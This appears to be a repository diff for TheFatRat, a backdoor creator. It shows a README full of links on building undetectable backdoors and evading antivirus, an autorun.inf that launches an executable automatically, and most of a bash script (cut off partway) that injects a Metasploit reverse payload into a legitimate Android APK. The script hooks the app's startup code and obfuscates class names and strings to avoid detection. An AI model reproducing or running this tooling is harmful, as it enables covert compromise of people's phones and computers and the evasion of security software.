* And run the tools ( ./fatrat )
|
||||
* Easy to Use just input your number
|
||||
## Documentation
|
||||
- Documentation Available in Modules CEH v9 and V10 , Download source here
|
||||
- [CEHv10 Module 06 System Hacking.pdf](https://github.com/khanhnnvn/CEHv10/blob/master/Labs/CEHv10%20Module%2006%20System%20Hacking.pdf)
|
||||
- [CEHv10 Module 17 Hacking Mobile Platforms.pdf](https://github.com/khanhnnvn/CEHv10/blob/master/Labs/CEHv10%20Module%2017%20Hacking%20Mobile%20Platforms.pdf)
|
||||
- Published in International Journal of Cyber-Security and Digital Forensics
|
||||
- [Malware Analysis Of Backdoor Creator : TheFatRat](https://www.researchgate.net/publication/323574673_MALWARE_ANALYSIS_OF_BACKDOOR_CREATOR_FATRAT)
|
||||
- Youtube Videos
|
||||
- [How To Download & Install TheFatRat](https://www.youtube.com/watch?v=FsSgJFxyzFQ)
|
||||
- [TheFatRat 1.9.6 - Trodebi ( Embed Trojan into Debian Package )](https://www.youtube.com/watch?v=NCsrcqhUBCc&feature=youtu.be&list=PLbyfDadg3caj6nc3KBk375lKWDOjiCmb8)
|
||||
- [hacking windows 10 with TheFatRat](https://www.youtube.com/watch?v=bFXVAXRXE9Q )
|
||||
- [Hacking Windows using TheFatRat + Apache2 Server + Ettercap + Metasploit](https://www.youtube.com/watch?v=FlXMslSjnGw)
|
||||
- [Hacking with a Microsoft Office Word Document from TheFatRat](https://www.youtube.com/watch?v=lglOXojT84M)
|
||||
- [XSS to powershell attack and bypass Antivirus using BeEF + TheFatRat + Metasploit](https://www.youtube.com/watch?v=pbvg7pgxVjo)
|
||||
- [TheFatRat - Hacking Over WAN - Embedding Payload in Original Android APK - Without Port Forwarding](https://www.youtube.com/watch?v=XLNigYZ5-fM)
|
||||
- [How To Automatically Embed Payloads In APK's - Evil-Droid, Thefatrat & Apkinjector](https://www.youtube.com/watch?v=C_Og6LnEZSg)
|
||||
- [Bind FUD Payload with JPG and Hack over WAN with TheFatRat](https://www.youtube.com/watch?v=VPl1TMCAIy8)
|
||||
|
||||
|
||||
## :heavy_exclamation_mark: Requirements
|
||||
## Changelog
|
||||
All notable changes to this project will be documented in this [file](https://github.com/Screetsec/thefatrat/blob/master/CHANGELOG.md).
|
||||
|
||||
- A linux operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling
|
||||
Cyborg / Parrot / Dracos / BackTrack / Backbox / Devuan and another operating system ( linux )
|
||||
### About issues
|
||||
- Read the [document](https://github.com/Screetsec/TheFatRat/blob/master/issues.md) before making an issue
|
||||
|
||||
- Must install metasploit framework
|
||||
## Alternative Best Tool - Generating Backdoor & Bypass
|
||||
- [Veil-Framework /Veil](https://github.com/Veil-Framework/Veil) - Veil Framework
|
||||
- [Shellter](https://www.shellterproject.com/download/) - Shellter AV Evasion Artware
|
||||
- [Unicorn](https://github.com/trustedsec/unicorn) - Trustedsec
|
||||
- [MSFvenom Payload Creator (MSFPC)](https://github.com/g0tmi1k/msfpc) - g0tmi1k
|
||||
- [Venom](https://github.com/r00t-3xp10it/venom) - Pedro Ubuntu
|
||||
- [Phantom-Evasion](https://github.com/oddcod3/Phantom-Evasion) - Diego Cornacchini
|
||||
|
||||
|
||||
## Credits & Thanks
|
||||
- [Offensive Security](https://www.offensive-security.com/) - Offensive Security
|
||||
- [dracOs Linux](https://dracos-linux.org/) - Penetration Testing OS From Indonesia
|
||||
- [peterpt](https://github.com/peterpt) - Maintainer & Contributor
|
||||
- [Dana James Traversie](https://github.com/dana-at-cp/backdoor-apk) - backdoor_apk
|
||||
- [z0noxz](https://github.com/z0noxz/powerstager) - Powerstager
|
||||
- [TrustedSec](https://github.com/trustedsec/unicorn) - Unicorn
|
||||
- [Raphael Mudge](https://github.com/rsmudge) - External Source
|
||||
- [astr0baby](https://astr0baby.wordpress.com) - Reference Source
|
||||
- [NgeSEC](https://ngesec.id/) Community
|
||||
- [Gauli(dot)Net](https://gauli.net/) - Lab Penetration
|
||||
|
||||
## :heavy_exclamation_mark: READ
|
||||
- if prog.c file to large when create backdoor with powerfull.sh , you can use prog.c.backup and create another backup when you running option 2
|
||||
## License
|
||||
TheFatRat is made with 🖤 by Edo Maland & All [Contributors](https://github.com/Screetsec/TheFatRat/graphs/contributors). See the **License** file for more details.
|
||||
|
||||
|
||||
## Tutorial ?
|
||||
|
||||
* Screetsec Channel : https://www.youtube.com/channel/UCpK9IXzLMfVFp9NUfDzxFfw
|
||||
* Udate thefatrat v1.8 https://youtu.be/6skLV6zPnec?list=PLbyfDadg3caj6nc3KBk375lKWDOjiCmb8
|
||||
* file Pumper in linux with fatrat https://youtu.be/rHuh5DJ476M?list=PLbyfDadg3caj6nc3KBk375lKWDOjiCmb8
|
||||
* Kali linux 2016.2 | Setup FatRat and Bypass Windows 10 :https://www.youtube.com/watch?v=mkfKSCxvPec
|
||||
* Embed Backdoor Apk Andoird : https://www.youtube.com/watch?v=bZg3gPuLvgs&feature=youtu.be
|
||||
* Create Backdoor Php and Reconnect With TheFatRat : https://www.youtube.com/watch?v=gfS55fjd8Fg
|
||||
* THEFATRAT:BACKDOOR CREATOR & BYPASS ANTIVIRUS AND INSTALL. : https://www.youtube.com/watch?v=C4YHVKPw6Zo
|
||||
* Exploit Windows 7/8/10 using Thefatrat ( option 2 ) : https://www.youtube.com/watch?v=-WbKOxIl_f4
|
||||
* How to hack android device with FatRat on kali linux 2 :https://www.youtube.com/watch?v=yUuwnu-NUXE
|
||||
* Kali Linux Tools - TheFatRat Tool For Generate Backdoor with MsfVenom : https://www.youtube.com/watch?v=7PMfPbrM0o4
|
||||
* FUD 100 % Backdoor With TheFatRat pt.1 [ PwnWinds ] [ Bypass Antivirus ] : https://www.youtube.com/watch?v=8lJBwclFwJI
|
||||
* FUD 100 % Backdoor With TheFatRat pt.2 [ PwnWinds ] [ Bypass Antivirus ] : https://www.youtube.com/watch?v=t7E6DZPhLLk&t=17s
|
||||
* FUD 100 % Backdoor With TheFatRat pt.3 [ PwnWinds ] [ Bypass Antivirus ] : https://www.youtube.com/watch?v=wCzsD6vt9CQ
|
||||
* TheFatrat Backdoor Undetectable by Antivirus Kali linux part 3 :https://www.youtube.com/watch?v=wuOCDn0NvWc
|
||||
* 1000 % FUD Backdoor with TheFatRat Tool : https://www.youtube.com/watch?v=vPXWv0jaBEQ
|
||||
* How To Use TheFatRat To Create Backdoor In Kali Rolling [FUD 100%] : https://www.youtube.com/watch?v=26tSOuPcpZk
|
||||
* Backdoor (Virus) 100% Indetectable | TheFatRat : https://www.youtube.com/watch?v=26tSOuPcpZk
|
||||
* Backdooring Android with TheFatRat Tool- Kali Linux Tutorial :https://www.youtube.com/watch?v=1SQW9lujjT8
|
||||
* Hacking Windows using TheFatRat + Apache2 Server + Ettercap + Metasploit on Kali Linux 2016.2 https://www.youtube.com/watch?v=FlXMslSjnGw
|
||||
* ALL VIDEO IN HERE : https://www.youtube.com/results?search_query=thefatrat+backdoor
|
||||
|
||||
## BUG ?
|
||||
|
||||
- Submit new issue
|
||||
- pm me
|
||||
- Hey sup ? do you want ask about all my tools ? you can join me in telegram.me/offscreetsec
|
||||
|
||||
|
||||
## :octocat: Credits
|
||||
|
||||
- Thanks to allah and Screetsec [ Edo -maland- ] <Me>
|
||||
- Dracos Linux from Scratch Indonesia ( Penetration os ) Thanksyou , you can see in http://dracos-linux.org/
|
||||
- Offensive Security for the awesome OS ( http://www.offensive-security.com/ )
|
||||
- http://www.kali.org/"
|
||||
- Jack Wilder admin in http://www.linuxsec.org
|
||||
- source for c program https://github.com/rsmudge
|
||||
- And another open sources tool in github
|
||||
- Uptodate new tools hacking visit http://www.kitploit.com
|
||||
|
||||
## Disclaimer
|
||||
|
||||
***Note: modifications, changes, or alterations to this sourcecode is acceptable, however,any public releases utilizing this code must be approved by writen this tool ( Edo -m- ).***
|
||||
|
||||
|
|
BIN
autorun/app4
Executable file
BIN
autorun/autorun.ico
Normal file
After Width: | Height: | Size: 66 KiB |
4
autorun/autorun.inf
Normal file
|
@ -0,0 +1,4 @@
|
|||
[autorun]
|
||||
open=app4
|
||||
icon=autorun.ico
|
||||
label=
|
802
backdoor_apk
Executable file
|
@ -0,0 +1,802 @@
|
|||
#!/bin/bash
|
||||
|
||||
#Recoded : peterpt & Edo maland
|
||||
#Author the tools : Dana James Traversie { dana-at-cp }
|
||||
#fix some bug in the original script and compatible with fatrat : peterpt & screetsec
|
||||
#apk-backdoor standalone file & original link https://github.com/dana-at-cp/backdoor-apk
|
||||
#whatis backdoor apk
|
||||
#backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc.
|
||||
#This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
|
||||
|
||||
|
||||
# Setting Colours
|
||||
cyan='\e[0;36m'
|
||||
green='\e[0;32m'
|
||||
lightgreen='\e[1;32m'
|
||||
white='\e[1;37m'
|
||||
red='\e[1;31m'
|
||||
yellow='\e[1;33m'
|
||||
blue='\e[1;34m'
|
||||
RESET="\033[00m" #normal
|
||||
path=`pwd`
|
||||
MY_PATH=`pwd`
|
||||
list="$path/config/listeners"
|
||||
#setting tools variables
|
||||
file="config/config.path"
|
||||
if [ -f "$file" ]
|
||||
then
|
||||
MSFVENOM=`sed -n 14p $file`
|
||||
BAKSMALI=`sed -n 12p $file`
|
||||
UNZIP=`sed -n 6p $file`
|
||||
KEYTOOL=`sed -n 7p $file`
|
||||
JARSIGNER=`sed -n 5p $file`
|
||||
APKTOOL=`sed -n 11p $file`
|
||||
DX=`sed -n 9p $file`
|
||||
ZIPALIGN=`sed -n 8p $file`
|
||||
output=$(sed -n 17p ${file})
|
||||
ASO="$path/tools/android-string-obfuscator/lib/aso"
|
||||
else
|
||||
echo -e $red"Configuration file does not exists , run setup.sh first for config ."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
apkconf="config/apk.tmp"
|
||||
if [ -f "$apkconf" ]
|
||||
then
|
||||
ORIG_APK_FILE=`sed -n 1p $apkconf`
|
||||
RAT_APK_FILE=`sed -n 2p $apkconf`
|
||||
PAYLOAD=`sed -n 3p $apkconf`
|
||||
LHOST=`sed -n 4p $apkconf`
|
||||
LPORT=`sed -n 5p $apkconf`
|
||||
else
|
||||
echo -e $red "APK Configuration file does not exist , run fatrat to config ."
|
||||
exit 1
|
||||
fi
|
||||
VERSION="0.2.4a"
|
||||
PERM_OPT=""
|
||||
ORIG_PACKAGE=""
|
||||
INJECT_PACKAGE=""
|
||||
SMALI_FILE_TO_HOOK=""
|
||||
# file paths and misc
|
||||
MY_PATH=`pwd`
|
||||
TMP_DIR=$MY_PATH/temp
|
||||
ORIG_APK_FILE_NAME=""
|
||||
LOG_FILE=$MY_PATH/logs/apk.log
|
||||
TIME_OF_RUN=`date`
|
||||
# for functions
|
||||
FUNC_RESULT=""
|
||||
# functions
|
||||
function gen_placeholder {
|
||||
local result=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 32 | head -n 1)
|
||||
FUNC_RESULT=$result
|
||||
return 0
|
||||
}
|
||||
|
||||
function gen_smali_package_dir {
|
||||
local dir=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 5 | head -n 1)
|
||||
FUNC_RESULT=$dir
|
||||
return 0
|
||||
}
|
||||
|
||||
function gen_smali_class_name {
|
||||
local start=$(cat /dev/urandom | tr -dc 'A-Z' | fold -w 1 | head -n 1)
|
||||
local end=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 4 | head -n 1)
|
||||
FUNC_RESULT=$start$end
|
||||
return 0
|
||||
}
|
||||
|
||||
function find_smali_file {
|
||||
# $1 = smali_file_to_hook
|
||||
# $2 = android_class
|
||||
if [ ! -f $1 ]; then
|
||||
local index=2
|
||||
local max=1000
|
||||
local smali_file=""
|
||||
while [ $index -lt $max ]; do
|
||||
smali_file=$MY_PATH/temp/original/smali_classes$index/$2.smali
|
||||
if [ -f $smali_file ]; then
|
||||
# found
|
||||
FUNC_RESULT=$smali_file
|
||||
return 0
|
||||
else
|
||||
let index=index+1
|
||||
fi
|
||||
done
|
||||
# not found
|
||||
return 1
|
||||
else
|
||||
FUNC_RESULT=$1
|
||||
return 0
|
||||
fi
|
||||
}
|
||||
|
||||
function hook_smali_file {
|
||||
# $1 = new_ms_name
|
||||
# $2 = smali_file_to_hook
|
||||
local smali_file=$2
|
||||
inject_line_num=$(grep -n "return-void" $smali_file |head -n 1|awk -F ":" '{ print $1 }')
|
||||
sed -i ''"$inject_line_num"'i\ \ \ \ invoke-static \{\}, L'"$INJECT_PACKAGE"'\/'"$1"';->start()V\n' $smali_file >>$LOG_FILE 2>&1
|
||||
grep -B 2 "$INJECT_PACKAGE/$1" $smali_file >>$LOG_FILE 2>&1
|
||||
if [ $? == 0 ]; then
|
||||
echo "The smali file was hooked successfully" >>$LOG_FILE 2>&1
|
||||
FUNC_RESULT=$smali_file
|
||||
return 0
|
||||
else
|
||||
echo "Failed to hook smali file" >>$LOG_FILE 2>&1
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
function verify_orig_apk {
|
||||
if [ -z $ORIG_APK_FILE ]; then
|
||||
echo "[!] No original APK file specified"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! -f $ORIG_APK_FILE ]; then
|
||||
echo "[!] Original APK file specified does not exist"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
$UNZIP -l $ORIG_APK_FILE >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Original APK file specified is not valid"
|
||||
exit $rc
|
||||
fi
|
||||
}
|
||||
|
||||
function consult_which {
|
||||
which $1 >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Check your environment and configuration. Couldn't find: $1"
|
||||
exit $rc
|
||||
fi
|
||||
}
|
||||
|
||||
function print_ascii_art {
|
||||
cat << "EOF"
|
||||
________
|
||||
/ ______ \
|
||||
|| _ _ ||
|
||||
||| || ||| AAAAAA PPPPPPP KKK KKK
|
||||
|||_||_||| AAA AAA PPP PPP KKK KKK
|
||||
|| _ _o|| (o) AAA AAA PPP PPP KKKKKK
|
||||
||| || ||| AAAAAAAA PPPPPPPP KKK KKK
|
||||
|||_||_||| AAA AAA PPP KKK KKK
|
||||
||______|| AAA AAA PPP KKK KKK
|
||||
/__________\
|
||||
________|__________|__________________________________________
|
||||
/____________\
|
||||
|____________| Dana James Traversie
|
||||
|
||||
EOF
|
||||
}
|
||||
|
||||
|
||||
function get_perm_opt {
|
||||
echo "[+] Android manifest permission options:"
|
||||
PS3='[?] Please select an Android manifest permission option: '
|
||||
options=("Keep original" "Merge with payload and shuffle")
|
||||
select opt in "${options[@]}"
|
||||
do
|
||||
case $opt in
|
||||
"Keep original")
|
||||
PERM_OPT="KEEPO"
|
||||
break
|
||||
;;
|
||||
"Merge with payload and shuffle")
|
||||
PERM_OPT="RANDO"
|
||||
break
|
||||
;;
|
||||
*)
|
||||
echo "[!] Invalid option selected"
|
||||
;;
|
||||
esac
|
||||
done
|
||||
}
|
||||
|
||||
function init {
|
||||
echo "Running backdoor-apk at $TIME_OF_RUN" >$LOG_FILE 2>&1
|
||||
print_ascii_art
|
||||
echo "[*] Running backdoor-apk.sh v$VERSION on $TIME_OF_RUN"
|
||||
consult_which $MSFVENOM
|
||||
consult_which $BAKSMALI
|
||||
consult_which $UNZIP
|
||||
consult_which $KEYTOOL
|
||||
consult_which $JARSIGNER
|
||||
consult_which $APKTOOL
|
||||
consult_which $ASO
|
||||
consult_which $DX
|
||||
consult_which $ZIPALIGN
|
||||
verify_orig_apk
|
||||
get_perm_opt
|
||||
mkdir -v $TMP_DIR >>$LOG_FILE 2>&1
|
||||
}
|
||||
|
||||
# kick things off
|
||||
init
|
||||
|
||||
# generate Metasploit resource script
|
||||
# credit to John Troony for the suggestion
|
||||
ORIG_APK_FILE_NAME=`echo "${ORIG_APK_FILE##*/}"`
|
||||
echo "Working on original APK: $ORIG_APK_FILE_NAME" >>$LOG_FILE 2>&1
|
||||
echo -n "[*] Decompiling original APK file..."
|
||||
$APKTOOL d -f -o $MY_PATH/temp/original $ORIG_APK_FILE >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to decompile original APK file"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
echo -n "[*] Locating smali file to hook in original project..."
|
||||
total_package=`head -n 2 $MY_PATH/temp/original/AndroidManifest.xml|grep "<manifest"|grep -o -P 'package="[^\"]+"'|sed 's/\"//g'|sed 's/package=//g'|sed 's/\./\//g'`
|
||||
android_name=`grep "<application" $MY_PATH/temp/original/AndroidManifest.xml|grep -o -P 'android:name="[^\"]+"'|sed 's/\"//g'|sed 's/android:name=//g'|sed 's/\./\//g'`
|
||||
echo "Value of android_name: $android_name" >>$LOG_FILE 2>&1
|
||||
android_class=$android_name
|
||||
echo "Value of android_class: $android_class" >>$LOG_FILE 2>&1
|
||||
smali_file_to_hook=$MY_PATH/temp/original/smali/$android_class.smali
|
||||
find_smali_file $smali_file_to_hook $android_class
|
||||
rc=$?
|
||||
if [ $rc != 0 ]; then
|
||||
echo "done."
|
||||
echo "[!] Failed to locate smali file to hook"
|
||||
exit $rc
|
||||
else
|
||||
echo "done."
|
||||
smali_file_to_hook=$FUNC_RESULT
|
||||
echo "The smali file to hook: $smali_file_to_hook" >>$LOG_FILE 2>&1
|
||||
ORIG_PACKAGE=$total_package
|
||||
SMALI_FILE_TO_HOOK=$smali_file_to_hook
|
||||
fi
|
||||
echo "[+] Package where RAT smali files will be injected: $ORIG_PACKAGE"
|
||||
echo "[+] Smali file to hook RAT payload: $android_class.smali"
|
||||
|
||||
echo -n "[*] Generating RAT APK file..."
|
||||
$MSFVENOM -a dalvik --platform android -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -f raw -o $RAT_APK_FILE >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
echo "done."
|
||||
if [ $rc != 0 ] || [ ! -f $RAT_APK_FILE ]; then
|
||||
echo "[!] Failed to generate RAT APK file"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo -n "[*] Decompiling RAT APK file..."
|
||||
$APKTOOL d -f -o $MY_PATH/temp/payload $RAT_APK_FILE >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to decompile RAT APK file"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
gen_placeholder
|
||||
placeholder=$FUNC_RESULT
|
||||
echo "placeholder value: $placeholder" >>$LOG_FILE 2>&1
|
||||
|
||||
original_manifest_file=$MY_PATH/temp/original/AndroidManifest.xml
|
||||
if [ "$PERM_OPT" == "RANDO" ]; then
|
||||
echo -n "[*] Merging permissions of original and payload projects..."
|
||||
tmp_perms_file=$MY_PATH/temp/perms.tmp
|
||||
payload_manifest_file=$MY_PATH/temp/payload/AndroidManifest.xml
|
||||
merged_manifest_file=$MY_PATH/temp/original/AndroidManifest.xml.merged
|
||||
grep "<uses-permission" $original_manifest_file >$tmp_perms_file
|
||||
grep "<uses-permission" $payload_manifest_file >>$tmp_perms_file
|
||||
grep "<uses-permission" $tmp_perms_file|sort|uniq|shuf >$tmp_perms_file.uniq
|
||||
mv $tmp_perms_file.uniq $tmp_perms_file
|
||||
sed "s/<uses-permission.*\/>/$placeholder/g" $original_manifest_file >$merged_manifest_file
|
||||
awk '/^[ \t]*'"$placeholder"'/&&c++ {next} 1' $merged_manifest_file >$merged_manifest_file.uniq
|
||||
mv $merged_manifest_file.uniq $merged_manifest_file
|
||||
sed -i "s/$placeholder/$(sed -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $tmp_perms_file | tr -d '\n')/" $merged_manifest_file
|
||||
diff $original_manifest_file $merged_manifest_file >>$LOG_FILE 2>&1
|
||||
mv $merged_manifest_file $original_manifest_file
|
||||
echo "done."
|
||||
# cleanup payload directory after merging app permissions
|
||||
#rm -rf $MY_PATH/payload >>$LOG_FILE 2>&1
|
||||
elif [ "$PERM_OPT" == "KEEPO" ]; then
|
||||
echo "[+] Keeping permissions of original project"
|
||||
else
|
||||
echo "[!] Something went terribly wrong..."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# use dx and baksmali to inject Java classes
|
||||
echo -n "[*] Injecting helpful Java classes in RAT APK file..."
|
||||
mkdir -v -p $MY_PATH/temp/bin/classes >>$LOG_FILE 2>&1
|
||||
mkdir -v -p $MY_PATH/temp/libs >>$LOG_FILE 2>&1
|
||||
$DX --dex --output="$MY_PATH/temp/bin/classes/classes.dex" $MY_PATH/java/* >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc != 0 ]; then
|
||||
echo "done."
|
||||
echo "[!] Failed to run dx on Java class files"
|
||||
exit $rc
|
||||
fi
|
||||
$BAKSMALI d -o $MY_PATH/temp/bin/classes/smali $MY_PATH/temp/bin/classes/classes.dex >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc != 0 ]; then
|
||||
echo "done."
|
||||
echo "[!] Failed to run baksmali on classes.dex created for Java class files"
|
||||
exit $rc
|
||||
fi
|
||||
cp -v -r $MY_PATH/temp/bin/classes/smali/* $MY_PATH/temp/payload/smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc != 0 ]; then
|
||||
echo "done."
|
||||
echo "[!] Failed to inject smali files dervied from Java classes"
|
||||
exit $rc
|
||||
fi
|
||||
echo "done."
|
||||
|
||||
# avoid having com/metasploit/stage path to smali files
|
||||
echo -n "[*] Creating new directory in original package for RAT smali files..."
|
||||
gen_smali_package_dir
|
||||
inject_package_dir=$FUNC_RESULT
|
||||
inject_package_path=$ORIG_PACKAGE/$inject_package_dir
|
||||
mkdir -v -p $MY_PATH/temp/original/smali/$inject_package_path >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to create new directory for RAT smali files"
|
||||
exit $rc
|
||||
else
|
||||
echo "[+] Inject package path: $inject_package_path"
|
||||
INJECT_PACKAGE=$inject_package_path
|
||||
fi
|
||||
|
||||
# create new smali class names
|
||||
gen_smali_class_name
|
||||
new_mbr_name=$FUNC_RESULT
|
||||
echo "[+] Generated new smali class name for MainBroadcastReceiver.smali: $new_mbr_name"
|
||||
gen_smali_class_name
|
||||
new_ms_name=$FUNC_RESULT
|
||||
echo "[+] Generated new smali class name for MainService.smali: $new_ms_name"
|
||||
gen_smali_class_name
|
||||
new_payload_name=$FUNC_RESULT
|
||||
echo "[+] Generated new smali class name for Payload.smali: $new_payload_name"
|
||||
gen_smali_class_name
|
||||
new_so_name=$FUNC_RESULT
|
||||
echo "[+] Generated new smali class name for StringObfuscator.smali: $new_so_name"
|
||||
gen_smali_package_dir
|
||||
new_so_obfuscate_method_name=$FUNC_RESULT
|
||||
echo "[+] Generated new smali method name for StringObfuscator.obfuscate method: $new_so_obfuscate_method_name"
|
||||
gen_smali_package_dir
|
||||
new_so_unobfuscate_method_name=$FUNC_RESULT
|
||||
echo "[+] Generated new smali method name for StringObfuscator.unobfuscate method: $new_so_unobfuscate_method_name"
|
||||
|
||||
echo -n "[*] Copying RAT smali files to new directories in original project..."
|
||||
# handle MainBroadcastReceiver.smali
|
||||
mv -v $MY_PATH/temp/payload/smali/com/metasploit/stage/MainBroadcastReceiver.smali $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_mbr_name.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc == 0 ]; then
|
||||
# handle MainService.smali
|
||||
mv -v $MY_PATH/temp/payload/smali/com/metasploit/stage/MainService.smali $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_ms_name.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
if [ $rc == 0 ]; then
|
||||
# handle Payload.smali
|
||||
mv -v $MY_PATH/temp/payload/smali/com/metasploit/stage/Payload.smali $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_payload_name.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
if [ $rc == 0 ]; then
|
||||
cp -v $MY_PATH/temp/payload/smali/com/metasploit/stage/*.smali $MY_PATH/temp/original/smali/$INJECT_PACKAGE >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
if [ $rc == 0 ]; then
|
||||
rm -v $MY_PATH/temp/original/smali/$INJECT_PACKAGE/MainActivity.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
if [ $rc == 0 ]; then
|
||||
cp -v $MY_PATH/temp/payload/smali/net/dirtybox/util/obfuscation/StringObfuscator.smali $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to copy RAT smali files"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
echo -n "[*] Fixing RAT smali files..."
|
||||
sed -i "s/MainBroadcastReceiver/$new_mbr_name/g" $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc == 0 ]; then
|
||||
sed -i "s/MainService/$new_ms_name/g" $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
if [ $rc == 0 ]; then
|
||||
sed -i "s/Payload/$new_payload_name/g" $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
if [ $rc == 0 ]; then
|
||||
sed -i "s/StringObfuscator/$new_so_name/g" $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
if [ $rc == 0 ]; then
|
||||
sed -i 's|com\([./]\)metasploit\([./]\)stage|'"$INJECT_PACKAGE"'|g' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
if [ $rc == 0 ]; then
|
||||
sed -i 's|net\([./]\)dirtybox\([./]\)util\([./]\)obfuscation|'"$INJECT_PACKAGE"'|g' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
if [ $rc == 0 ]; then
|
||||
#.method public static obfuscate(Ljava/lang/String;)Ljava/lang/String;
|
||||
#.method public static unobfuscate(Ljava/lang/String;)Ljava/lang/String;
|
||||
sed -i 's:method public static obfuscate:method public static '"$new_so_obfuscate_method_name"':g' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc == 0 ]; then
|
||||
sed -i 's:method public static unobfuscate:method public static '"$new_so_unobfuscate_method_name"':g' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
fi
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to fix RAT smali files"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
# TODO: Refactor and improve error handling and logging
|
||||
echo -n "[*] Obfuscating const-string values in RAT smali files..."
|
||||
cat >$MY_PATH/temp/obfuscate.method <<EOL
|
||||
const-string ###REG###, "###VALUE###"
|
||||
|
||||
invoke-static {###REG###}, L###CLASS###;->###METHOD###(Ljava/lang/String;)Ljava/lang/String;
|
||||
|
||||
move-result-object ###REG###
|
||||
EOL
|
||||
stringobfuscator_class=$INJECT_PACKAGE/$new_so_name
|
||||
echo "StringObfuscator class: $stringobfuscator_class" >>$LOG_FILE 2>&1
|
||||
so_class_suffix="$new_so_name.smali"
|
||||
echo "StringObfuscator class suffix: $so_class_suffix" >>$LOG_FILE 2>&1
|
||||
so_default_key="7IPR19mk6hmUY+hdYUaCIw=="
|
||||
so_key=$so_default_key
|
||||
which openssl >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc == 0 ]; then
|
||||
so_key="$(openssl rand -base64 16)"
|
||||
rc=$?
|
||||
fi
|
||||
if [ $rc == 0 ]; then
|
||||
file="$MY_PATH/temp/original/smali/$stringobfuscator_class.smali"
|
||||
sed -i 's%'"$so_default_key"'%'"$so_key"'%' $file >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc == 0 ]; then
|
||||
echo "Injected new key into StringObufscator class" >>$LOG_FILE 2>&1
|
||||
else
|
||||
echo "Failed to inject new key into StringObfuscator class, using default key" >>$LOG_FILE 2>&1
|
||||
so_key=$so_default_key
|
||||
fi
|
||||
else
|
||||
echo "Failed to generate a new StringObfuscator key, using default key" >>$LOG_FILE 2>&1
|
||||
so_key=$so_default_key
|
||||
fi
|
||||
echo "StringObfuscator key: $so_key" >>$LOG_FILE 2>&1
|
||||
sed -i 's/[[:space:]]*"$/"/g' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc == 0 ]; then
|
||||
grep "const-string" -n --exclude="$so_class_suffix" $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali |while read -r line; do
|
||||
gen_placeholder
|
||||
placeholder=$FUNC_RESULT
|
||||
echo "Placeholder: $placeholder" >>$LOG_FILE 2>&1
|
||||
